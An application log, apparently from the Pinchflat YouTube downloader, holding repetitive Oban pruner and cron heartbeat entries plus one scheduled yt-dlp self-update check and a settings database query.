[info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.398 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:32:18.633 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:48.634 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.399 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:33:18.636 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:48.637 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.400 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:34:18.639 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:48.640 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.401 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:35:18.641 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:48.642 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.402 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:36:18.643 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:48.643 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.403 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:37:18.645 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:48.646 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.404 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:38:18.647 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:48.648 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.405 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:39:18.649 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:48.650 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.407 [info] {"source":"oban","duration":958,"event":"plugin:stop","jobs":[1732],"plugin":"Oban.Plugins.Cron"} 09:40:00.414 [info] {"args":{},"id":1732,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"system_time":1774964400414264037,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 09:40:00.414 [info] Updating yt-dlp 09:40:00.414 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 09:40:01.541 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 09:40:01.541 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 09:40:02.405 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 09:40:02.406 [debug] QUERY OK source="settings" db=0.3ms idle=547.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:02.407 [info] {"args":{},"id":1732,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":1992034,"event":"job:stop","queue_time":413501,"attempt":1,"tags":["local_data"]} 09:40:18.651 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:48.652 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.408 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:41:18.653 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:48.654 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.409 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:42:18.655 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:48.657 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.410 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:43:18.658 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:48.659 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.411 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:44:18.660 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:48.662 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.412 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:45:18.664 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:48.665 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.413 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:46:18.666 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:48.667 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.414 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:47:18.668 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:48.669 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.415 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:48:18.670 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:48.672 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.416 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:49:18.673 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:48.675 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.418 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:50:18.676 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:48.678 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.418 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:51:18.679 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:48.680 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.419 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:52:18.681 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:48.683 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.420 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:53:18.684 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:48.685 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.421 [info] {"source":"oban","duration":339,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:54:18.686 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:48.687 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.422 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:55:18.688 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:48.689 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.423 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:56:18.690 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:48.691 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.424 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:57:18.692 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:48.694 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.425 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:58:18.696 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:48.697 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.426 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:59:18.698 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:48.699 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.427 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:00:18.700 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:48.701 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.428 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:01:18.702 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:48.703 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.430 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:02:18.704 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:48.706 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.430 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:03:18.707 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:48.708 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.431 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:04:18.709 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:48.710 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.432 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:05:18.712 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:48.714 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.433 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:06:18.715 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:48.716 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.434 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:07:18.717 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:48.718 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.435 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:08:18.719 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:48.720 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.436 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:09:18.721 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:48.722 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.437 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:10:18.723 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:48.724 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.438 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:11:18.725 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:48.726 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.439 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:12:18.727 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:48.729 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.440 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:13:18.730 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:48.731 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.441 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:14:18.732 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:48.733 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.442 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:15:18.734 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:48.735 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.443 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:16:18.736 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:48.737 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.444 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:17:18.738 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:48.739 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.445 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:18:18.741 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:48.743 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.446 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:19:18.744 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:48.745 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.447 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:20:18.746 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:48.747 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.448 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:21:18.749 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:48.750 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.449 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:22:18.751 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:48.752 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.450 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:23:18.754 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:48.755 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.451 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:24:18.756 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:48.757 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.453 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:25:18.759 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:48.761 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.453 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:26:18.762 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:48.763 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.454 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:27:18.764 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:48.765 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.455 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:28:18.766 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:48.768 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.456 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:29:18.769 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:48.771 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.457 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:30:18.772 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:48.773 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.458 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:31:18.775 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:48.776 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.459 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:32:18.777 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:48.779 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.460 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:33:18.781 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:48.782 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.461 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:34:18.783 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:48.784 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.462 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:35:18.785 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:48.786 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.463 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:36:18.787 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:48.788 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.464 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:37:18.789 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:48.790 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.465 [info] {"source":"oban","duration":298,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:38:18.791 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:48.792 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.466 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:39:18.793 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:48.794 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.467 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:40:18.795 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:48.796 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.468 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:41:18.797 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:48.798 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.469 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:42:18.799 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:48.800 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.470 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:43:18.802 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:48.803 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.471 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:44:18.805 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:48.806 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.472 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:45:18.807 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:48.809 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.473 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:46:18.810 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:48.811 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.474 [info] 